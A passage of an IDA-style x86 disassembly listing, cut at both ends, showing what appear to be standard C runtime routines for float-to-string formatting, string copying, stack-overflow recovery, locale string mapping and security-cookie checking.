[ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41BC16: ; CODE XREF: sub_41BBED+Cj lea eax, [ebp+arg_0] push eax call sub_41FF98 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [eax], ecx leave retn sub_41BBED endp ; =============== S U B R O U T I N E ======================================= sub_41BC2B proc near ; CODE XREF: sub_41BC48+23p ; sub_41BD6A+45p ... test edi, edi push esi mov esi, eax jz short loc_41BC46 push esi call sub_419D70 inc eax push eax push esi add esi, edi push esi call sub_41F060 add esp, 10h loc_41BC46: ; CODE XREF: sub_41BC2B+5j pop esi retn sub_41BC2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC48 proc near ; CODE XREF: sub_41BCF6+5Bp ; sub_41BE6E+88p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 push esi mov esi, eax jz short loc_41BC71 xor eax, eax cmp [ebp+arg_0], eax push edi setnle al xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl mov edi, eax add ecx, ebx mov eax, ecx call sub_41BC2B pop edi loc_41BC71: ; CODE XREF: sub_41BC48+Aj cmp dword ptr [esi], 2Dh mov eax, ebx jnz short loc_41BC7E mov byte ptr [ebx], 2Dh lea eax, [ebx+1] loc_41BC7E: ; CODE XREF: sub_41BC48+2Ej cmp [ebp+arg_0], 0 jle short loc_41BC95 lea ecx, [eax+1] mov dl, [ecx] mov [eax], dl mov eax, ecx mov cl, byte_432CB8 mov [eax], cl loc_41BC95: ; CODE XREF: sub_41BC48+3Aj xor ecx, ecx cmp [ebp+arg_8], cl push offset dword_42C100 setz cl add ecx, eax add ecx, [ebp+arg_0] push ecx call sub_41BFE0 cmp [ebp+arg_4], 0 pop ecx pop ecx mov ecx, eax jz short loc_41BCBA mov byte ptr [ecx], 45h loc_41BCBA: ; CODE XREF: sub_41BC48+6Dj mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41BCF1 mov eax, [esi+4] dec eax jns short loc_41BCCE neg eax mov byte ptr [ecx], 2Dh loc_41BCCE: ; CODE XREF: sub_41BC48+7Fj inc ecx cmp eax, 64h jl short loc_41BCDE cdq push 64h pop esi idiv esi add [ecx], al mov eax, edx loc_41BCDE: ; CODE XREF: sub_41BC48+8Aj inc ecx cmp eax, 0Ah jl short loc_41BCEE cdq push 0Ah pop esi idiv esi add [ecx], al mov eax, edx loc_41BCEE: ; CODE XREF: sub_41BC48+9Aj add [ecx+1], al loc_41BCF1: ; CODE XREF: sub_41BC48+79j mov eax, ebx pop esi pop ebp retn sub_41BC48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BCF6 proc near ; CODE XREF: sub_41BF0E+47p var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_432A68 xor eax, [ebp+4] push ebx mov [ebp+var_4], eax push esi lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_42010C mov esi, [ebp+arg_8] mov ebx, [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [esi+1] push eax xor eax, eax cmp [ebp+var_14], 2Dh mov edx, ebx setz al xor ecx, ecx test esi, esi setnle cl add edx, eax add ecx, edx push ecx call sub_41FFDB push 0 push [ebp+arg_C] lea eax, [ebp+var_14] push esi call sub_41BC48 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 28h pop esi mov eax, ebx pop ebx call sub_41C596 leave retn sub_41BCF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD6A proc near ; CODE XREF: sub_41BE06+4Fp ; sub_41BE6E+75p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, eax mov eax, [esi+4] dec eax cmp [ebp+arg_8], 0 push edi jz short loc_41BD97 cmp eax, [ebp+arg_4] jnz short loc_41BD97 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, [ebp+arg_0] mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 loc_41BD97: ; CODE XREF: sub_41BD6A+10j ; sub_41BD6A+15j cmp dword ptr [esi], 2Dh mov ebx, [ebp+arg_0] jnz short loc_41BDA3 mov byte ptr [ebx], 2Dh inc ebx loc_41BDA3: ; CODE XREF: sub_41BD6A+33j mov eax, [esi+4] xor edi, edi inc edi test eax, eax jg short loc_41BDBA mov eax, ebx call sub_41BC2B mov byte ptr [ebx], 30h inc ebx jmp short loc_41BDBC ; --------------------------------------------------------------------------- loc_41BDBA: ; CODE XREF: sub_41BD6A+41j add ebx, eax loc_41BDBC: ; CODE XREF: sub_41BD6A+4Ej cmp [ebp+arg_4], 0 jle short loc_41BDFE mov eax, ebx call sub_41BC2B mov al, byte_432CB8 mov [ebx], al mov esi, [esi+4] inc ebx test esi, esi jge short loc_41BDFE neg esi cmp [ebp+arg_8], 0 jnz short loc_41BDE5 cmp [ebp+arg_4], esi jl short loc_41BDE8 loc_41BDE5: ; CODE XREF: sub_41BD6A+74j mov [ebp+arg_4], esi loc_41BDE8: ; CODE XREF: sub_41BD6A+79j mov edi, [ebp+arg_4] mov eax, ebx call sub_41BC2B push edi push 30h push ebx call sub_41E8F0 add esp, 0Ch loc_41BDFE: ; CODE XREF: sub_41BD6A+56j ; sub_41BD6A+6Cj mov eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_41BD6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_41BF0E+1Ep var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_432A68 xor eax, [ebp+4] push esi mov [ebp+var_4], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_42010C mov esi, [ebp+arg_8] lea eax, [ebp+var_14] push eax mov eax, [ebp+var_10] add eax, esi push eax xor eax, eax cmp [ebp+var_14], 2Dh setz al add eax, [ebp+arg_4] push eax call sub_41FFDB push 0 push esi push [ebp+arg_4] lea eax, [ebp+var_14] call sub_41BD6A mov ecx, [ebp+var_4] xor ecx, [ebp+4] mov eax, [ebp+arg_4] add esp, 28h pop esi call sub_41C596 leave retn sub_41BE06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE6E proc near ; CODE XREF: sub_41BF0E+34p var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_432A68 xor eax, [ebp+4] push ebx push esi mov [ebp+var_4], eax push edi lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_42010C mov esi, [ebp+var_10] mov ebx, [ebp+arg_8] xor eax, eax dec esi cmp [ebp+var_14], 2Dh setz al add eax, [ebp+arg_4] mov edi, eax lea eax, [ebp+var_14] push eax push ebx push edi call sub_41FFDB mov eax, [ebp+var_10] add esp, 1Ch dec eax cmp esi, eax setl cl cmp eax, 0FFFFFFFCh jl short loc_41BEEA cmp eax, ebx jge short loc_41BEEA test cl, cl jz short loc_41BEDA loc_41BED0: ; CODE XREF: sub_41BE6E+67j mov al, [edi] inc edi test al, al jnz short loc_41BED0 and [edi-2], al loc_41BEDA: ; CODE XREF: sub_41BE6E+60j push 1 push ebx push [ebp+arg_4] lea eax, [ebp+var_14] call sub_41BD6A jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BEEA: ; CODE XREF: sub_41BE6E+58j ; sub_41BE6E+5Cj push 1 push [ebp+arg_C] lea eax, [ebp+var_14] push ebx mov ebx, [ebp+arg_4] call sub_41BC48 loc_41BEFB: ; CODE XREF: sub_41BE6E+7Aj mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 0Ch pop edi pop esi pop ebx call sub_41C596 leave retn sub_41BE6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF0E proc near ; CODE XREF: sub_418A1C+43Ep ; DATA XREF: sub_417255o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41BF49 cmp [ebp+arg_8], 45h jz short loc_41BF49 cmp [ebp+arg_8], 66h jnz short loc_41BF36 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41BE06 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41BF36: ; CODE XREF: sub_41BF0E+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41BE6E jmp short loc_41BF5A ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BF0E+7j ; sub_41BF0E+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41BCF6 loc_41BF5A: ; CODE XREF: sub_41BF0E+39j add esp, 10h pop ebp retn sub_41BF0E endp ; =============== S U B R O U T I N E ======================================= sub_41BF5F proc near ; CODE XREF: sub_41728D+Fp push 30000h push 10000h call sub_4202D9 pop ecx pop ecx retn sub_41BF5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF71 proc near ; CODE XREF: sub_41BFB1:loc_41BFD5j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_42C118 fstp [ebp+var_8] fld dbl_42C110 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_42C108 fnstsw ax test ah, 41h jnz short loc_41BFAD xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_41BFAD: ; CODE XREF: sub_41BF71+35j xor eax, eax leave retn sub_41BF71 endp ; =============== S U B R O U T I N E ======================================= sub_41BFB1 proc near ; CODE XREF: sub_41728D+5p push offset aKernel32 ; "KERNEL32" call dword_4220A4 ; GetModuleHandleA test eax, eax jz short loc_41BFD5 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_422084 ; GetProcAddress test eax, eax jz short loc_41BFD5 push 0 call eax retn ; --------------------------------------------------------------------------- loc_41BFD5: ; CODE XREF: sub_41BFB1+Dj ; sub_41BFB1+1Dj jmp sub_41BF71 sub_41BFB1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFE0 proc near ; CODE XREF: sub_4174C6+F5p ; sub_41BC48+60p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C055 sub_41BFE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFF0 proc near ; CODE XREF: sub_41D967+10Bp ; sub_41D967+116p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C010 loc_41BFFD: ; CODE XREF: sub_41BFF0+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_41C043 test ecx, 3 jnz short loc_41BFFD mov edi, edi loc_41C010: ; CODE XREF: sub_41BFF0+Bj ; sub_41BFF0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C010 mov eax, [ecx-4] test al, al jz short loc_41C052 test ah, ah jz short loc_41C04D test eax, 0FF0000h jz short loc_41C048 test eax, 0FF000000h jz short loc_41C043 jmp short loc_41C010 ; --------------------------------------------------------------------------- loc_41C043: ; CODE XREF: sub_41BFF0+14j ; sub_41BFF0+4Fj lea edi, [ecx-1] jmp short loc_41C055 ; --------------------------------------------------------------------------- loc_41C048: ; CODE XREF: sub_41BFF0+48j lea edi, [ecx-2] jmp short loc_41C055 ; --------------------------------------------------------------------------- loc_41C04D: ; CODE XREF: sub_41BFF0+41j lea edi, [ecx-3] jmp short loc_41C055 ; --------------------------------------------------------------------------- loc_41C052: ; CODE XREF: sub_41BFF0+3Dj lea edi, [ecx-4] loc_41C055: ; CODE XREF: sub_41BFE0+5j ; sub_41BFF0+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C07E loc_41C061: ; CODE XREF: sub_41BFF0+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_41C0D0 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_41C061 jmp short loc_41C07E ; --------------------------------------------------------------------------- loc_41C079: ; CODE XREF: sub_41BFF0+A6j ; sub_41BFF0+C0j mov [edi], edx add edi, 4 loc_41C07E: ; CODE XREF: sub_41BFF0+6Fj ; sub_41BFF0+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C079 test dl, dl jz short loc_41C0D0 test dh, dh jz short loc_41C0C7 test edx, 0FF0000h jz short loc_41C0BA test edx, 0FF000000h jz short loc_41C0B2 jmp short loc_41C079 ; --------------------------------------------------------------------------- loc_41C0B2: ; CODE XREF: sub_41BFF0+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C0BA: ; CODE XREF: sub_41BFF0+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C0C7: ; CODE XREF: sub_41BFF0+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C0D0: ; CODE XREF: sub_41BFF0+78j ; sub_41BFF0+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BFF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0D8 proc near ; CODE XREF: sub_4174C6+A5p ; sub_4192C5+4DCp ... var_48 = byte ptr -48h var_44 = dword ptr -44h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi push 4 pop eax call sub_416B90 mov ebx, esp push 1Ch lea eax, [ebp+var_24] push eax push ebx call dword_4221A0 ; VirtualQuery test eax, eax jz short loc_41C16D mov edi, [ebp+var_20] lea eax, [ebp+var_48] push eax call dword_422074 ; GetSystemInfo mov eax, [ebp+var_44] lea esi, [eax-1] not esi and esi, ebx sub esi, eax mov [ebp+var_4], eax mov eax, dword_481184 mov ecx, eax dec ecx neg ecx sbb ecx, ecx and ecx, 0FFFF1000h add ecx, 11000h add ecx, edi cmp esi, ecx jb short loc_41C16D cmp eax, 1 jz short loc_41C185 mov ebx, edi mov edi, 1000h loc_41C142: ; CODE XREF: sub_41C0D8+81j push 1Ch lea eax, [ebp+var_24] push eax push ebx call dword_4221A0 ; VirtualQuery test eax, eax jz short loc_41C16D add ebx, [ebp+var_18] test [ebp+var_14], edi jz short loc_41C142 test [ebp+var_F], 1 mov ebx, [ebp+var_24] jz short loc_41C169 xor eax, eax inc eax jmp short loc_41C1A1 ; --------------------------------------------------------------------------- loc_41C169: ; CODE XREF: sub_41C0D8+8Aj cmp esi, ebx jnb short loc_41C171 loc_41C16D: ; CODE XREF: sub_41C0D8+22j ; sub_41C0D8+5Cj ... xor eax, eax jmp short loc_41C1A1 ; --------------------------------------------------------------------------- loc_41C171: ; CODE XREF: sub_41C0D8+93j push 4 push edi push [ebp+var_4] push ebx call dword_422194 ; VirtualAlloc mov eax, dword_481184 jmp short loc_41C187 ; --------------------------------------------------------------------------- loc_41C185: ; CODE XREF: sub_41C0D8+61j mov ebx, esi loc_41C187: ; CODE XREF: sub_41C0D8+ABj dec eax neg eax sbb eax, eax and eax, 103h lea ecx, [ebp+var_8] push ecx inc eax push eax push [ebp+var_4] push ebx call dword_42219C ; VirtualProtect loc_41C1A1: ; CODE XREF: sub_41C0D8+8Fj ; sub_41C0D8+97j lea esp, [ebp-54h] pop edi pop esi pop ebx leave retn sub_41C0D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1A9 proc near ; CODE XREF: sub_4174C6+6Fp ; sub_4174C6+E5p ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push 38h push offset stru_42C150 call __SEH_prolog xor ebx, ebx cmp dword_48133C, ebx jnz short loc_41C1F7 push ebx push ebx xor esi, esi inc esi push esi push offset dword_42C148 push 100h push ebx call dword_4221A8 ; LCMapStringW test eax, eax jz short loc_41C1E2 mov dword_48133C, esi jmp short loc_41C1F7 ; --------------------------------------------------------------------------- loc_41C1E2: ; CODE XREF: sub_41C1A9+2Fj call dword_422008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41C1F7 mov dword_48133C, 2 loc_41C1F7: ; CODE XREF: sub_41C1A9+14j ; sub_41C1A9+37j ... cmp [ebp+arg_C], ebx jle short loc_41C217 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_41C202: ; CODE XREF: sub_41C1A9+61j dec ecx cmp [eax], bl jz short loc_41C20F inc eax cmp ecx, ebx jnz short loc_41C202 or ecx, 0FFFFFFFFh loc_41C20F: ; CODE XREF: sub_41C1A9+5Cj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+arg_C], eax loc_41C217: ; CODE XREF: sub_41C1A9+51j mov eax, dword_48133C cmp eax, 2 jz loc_41C401 cmp eax, ebx jz loc_41C401 cmp eax, 1 jnz loc_41C434 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_20], ebx mov [ebp+var_24], ebx cmp [ebp+arg_18], ebx jnz short loc_41C24E mov eax, dword_4814A8 mov [ebp+arg_18], eax loc_41C24E: ; CODE XREF: sub_41C1A9+9Bj push ebx push ebx push [ebp+arg_C] push [ebp+arg_8] xor eax, eax cmp [ebp+arg_1C], ebx setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call dword_4220D4 ; MultiByteToWideChar mov esi, eax mov [ebp+var_28], esi cmp esi, ebx jz loc_41C434 mov [ebp+ms_exc.disabled], 1 lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_2C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41C2BA ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor ebx, ebx mov [ebp+var_2C], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1C] mov esi, [ebp+var_28] loc_41C2BA: ; CODE XREF: sub_41C1A9+F4j cmp [ebp+var_2C], ebx jnz short loc_41C2DB lea eax, [esi+esi] push eax call sub_416E1F pop ecx mov [ebp+var_2C], eax cmp eax, ebx jz loc_41C434 mov [ebp+var_20], 1 loc_41C2DB: ; CODE XREF: sub_41C1A9+114j push esi push [ebp+var_2C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_4220D4 ; MultiByteToWideChar test eax, eax jz loc_41C3DE push ebx push ebx push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A8 ; LCMapStringW mov edi, eax mov [ebp+var_1C], edi cmp edi, ebx jz loc_41C3DE test byte ptr [ebp+arg_4+1], 4 jz short loc_41C34A cmp [ebp+arg_14], ebx jz loc_41C3DE cmp edi, [ebp+arg_14] jg loc_41C3DE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A8 ; LCMapStringW jmp loc_41C3DE ; --------------------------------------------------------------------------- loc_41C34A: ; CODE XREF: sub_41C1A9+172j mov [ebp+ms_exc.disabled], 2 lea eax, [edi+edi] add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_30], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41C388 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor ebx, ebx mov [ebp+var_30], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1C] mov esi, [ebp+var_28] loc_41C388: ; CODE XREF: sub_41C1A9+1C2j cmp [ebp+var_30], ebx jnz short loc_41C3A5 lea eax, [edi+edi] push eax call sub_416E1F pop ecx mov [ebp+var_30], eax cmp eax, ebx jz short loc_41C3DE mov [ebp+var_24], 1 loc_41C3A5: ; CODE XREF: sub_41C1A9+1E2j push edi push [ebp+var_30] push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A8 ; LCMapStringW test eax, eax jz short loc_41C3DE push ebx push ebx cmp [ebp+arg_14], ebx jnz short loc_41C3C8 push ebx push ebx jmp short loc_41C3CE ; --------------------------------------------------------------------------- loc_41C3C8: ; CODE XREF: sub_41C1A9+219j push [ebp+arg_14] push [ebp+arg_10] loc_41C3CE: ; CODE XREF: sub_41C1A9+21Dj push edi push [ebp+var_30] push ebx push [ebp+arg_18] call dword_4220D8 ; WideCharToMultiByte mov edi, eax loc_41C3DE: ; CODE XREF: sub_41C1A9+149j ; sub_41C1A9+168j ... cmp [ebp+var_24], ebx jz short loc_41C3EC push [ebp+var_30] call sub_416D07 pop ecx loc_41C3EC: ; CODE XREF: sub_41C1A9+238j cmp [ebp+var_20], ebx jz short loc_41C3FA push [ebp+var_2C] call sub_416D07 pop ecx loc_41C3FA: ; CODE XREF: sub_41C1A9+246j mov eax, edi jmp loc_41C55C ; --------------------------------------------------------------------------- loc_41C401: ; CODE XREF: sub_41C1A9+76j ; sub_41C1A9+7Ej mov [ebp+var_34], ebx xor edi, edi mov [ebp+var_38], ebx cmp [ebp+arg_0], ebx jnz short loc_41C416 mov eax, dword_481498 mov [ebp+arg_0], eax loc_41C416: ; CODE XREF: sub_41C1A9+263j cmp [ebp+arg_18], ebx jnz short loc_41C423 mov eax, dword_4814A8 mov [ebp+arg_18], eax loc_41C423: ; CODE XREF: sub_41C1A9+270j push [ebp+arg_0] call sub_4202EF pop ecx mov [ebp+var_3C], eax cmp eax, 0FFFFFFFFh jnz short loc_41C43B loc_41C434: ; CODE XREF: sub_41C1A9+87j ; sub_41C1A9+CDj ... xor eax, eax jmp loc_41C55C ; --------------------------------------------------------------------------- loc_41C43B: ; CODE XREF: sub_41C1A9+289j cmp eax, [ebp+arg_18] jz loc_41C532 push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_420338 add esp, 18h mov [ebp+var_34], eax cmp eax, ebx jz short loc_41C434 push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_4221A4 ; LCMapStringA mov esi, eax mov [ebp+var_40], esi cmp esi, ebx jz loc_41C521 mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_44], edi push esi push ebx push edi call sub_41E8F0 add esp, 0Ch jmp short loc_41C4B2 ; --------------------------------------------------------------------------- loc_41C4A2: ; DATA XREF: .text:stru_42C150o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41C4A6: ; DATA XREF: .text:stru_42C150o mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor ebx, ebx xor edi, edi loc_41C4B2: ; CODE XREF: sub_41C1A9+2F7j or [ebp+ms_exc.disabled], 0FFFFFFFFh cmp edi, ebx jnz short loc_41C4DD push [ebp+var_40] call sub_416E1F pop ecx mov edi, eax cmp edi, ebx jz short loc_41C4FA push [ebp+var_40] push ebx push edi call sub_41E8F0 add esp, 0Ch mov [ebp+var_38], 1 loc_41C4DD: ; CODE XREF: sub_41C1A9+30Fj push [ebp+var_40] push edi push [ebp+arg_C] push [ebp+var_34] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A4 ; LCMapStringA mov [ebp+var_40], eax cmp eax, ebx jnz short loc_41C4FE loc_41C4FA: ; CODE XREF: sub_41C1A9+31Ej xor esi, esi jmp short loc_41C524 ; --------------------------------------------------------------------------- loc_41C4FE: ; CODE XREF: sub_41C1A9+34Fj push [ebp+arg_14] push [ebp+arg_10] lea eax, [ebp+var_40] push eax push edi push [ebp+arg_18] push [ebp+var_3C] call sub_420338 add esp, 18h mov esi, eax neg esi sbb esi, esi neg esi jmp short loc_41C524 ; --------------------------------------------------------------------------- loc_41C521: ; CODE XREF: sub_41C1A9+2D0j mov esi, [ebp+var_48] loc_41C524: ; CODE XREF: sub_41C1A9+353j ; sub_41C1A9+376j cmp [ebp+var_38], ebx jz short loc_41C54C push edi call sub_416D07 pop ecx jmp short loc_41C54C ; --------------------------------------------------------------------------- loc_41C532: ; CODE XREF: sub_41C1A9+295j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4221A4 ; LCMapStringA mov esi, eax loc_41C54C: ; CODE XREF: sub_41C1A9+37Ej ; sub_41C1A9+387j cmp [ebp+var_34], ebx jz short loc_41C55A push [ebp+var_34] call sub_416D07 pop ecx loc_41C55A: ; CODE XREF: sub_41C1A9+3A6j mov eax, esi loc_41C55C: ; CODE XREF: sub_41C1A9+253j ; sub_41C1A9+28Dj lea esp, [ebp-54h] call __SEH_epilog retn sub_41C1A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C596 loc_41C565: ; CODE XREF: sub_41C596:loc_41C59Fj push 8 push offset stru_42C588 call __SEH_prolog and dword ptr [ebp-4], 0 push 0 push 1 call sub_42055D pop ecx pop ecx jmp short loc_41C589 ; END OF FUNCTION CHUNK FOR sub_41C596 ; =============== S U B R O U T I N E ======================================= sub_41C582 proc near ; DATA XREF: .text:stru_42C588o xor eax, eax inc eax retn sub_41C582 endp ; --------------------------------------------------------------------------- loc_41C586: ; DATA XREF: .text:stru_42C588o mov esp, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_41C596 loc_41C589: ; CODE XREF: sub_41C596-16j or dword ptr [ebp-4], 0FFFFFFFFh push 3 call dword_422040 ; ExitProcess int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_41C596 ; =============== S U B R O U T I N E ======================================= sub_41C596 proc near ; CODE XREF: sub_4177E9+B4p ; sub_418A1C+76Ep ... ; FUNCTION CHUNK AT 0041C565 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0041C589 SIZE 0000000D BYTES cmp ecx, dword_432A68 jnz short loc_41C59F retn ; --------------------------------------------------------------------------- loc_41C59F: ; CODE XREF: sub_41C596+6j jmp loc_41C565 sub_41C596 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C5A4 proc near ; CODE XREF: sub_4178A4+1Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41E56D test eax, eax pop ecx jz short loc_41C628 cmp esi, offset dword_432678 jnz short loc_41C5C2 xor eax, eax jmp short loc_41C5CD ; --------------------------------------------------------------------------- loc_41C5C2: ; CODE XREF: sub_41C5A4+18j cmp esi, offset dword_432698 jnz short loc_41C628 xor eax, eax inc eax loc_41C5CD: ; CODE XREF: sub_41C5A4+1Cj inc dword_481338 test word ptr [esi+0Ch], 10Ch jnz short loc_41C628 push ebx push edi lea edi, ds:481340h[eax*4] cmp dword ptr [edi], 0 mov ebx, 1000h jnz short loc_41C60E push ebx call sub_416E1F test eax, eax pop ecx mov [edi], eax jnz short loc_41C60E lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41C61B ; --------------------------------------------------------------------------- loc_41C60E: ; CODE XREF: sub_41C5A4+48j ; sub_41C5A4+55j mov edi, [edi] mov [esi+8], edi mov [esi], edi mov [esi+18h], ebx mov [esi+4], ebx loc_41C61B: ; CODE XREF: sub_41C5A4+68j or word ptr [esi+0Ch], 1102h pop edi xor eax, eax pop ebx inc eax pop esi retn ; --------------------------------------------------------------------------- loc_41C628: ; CODE 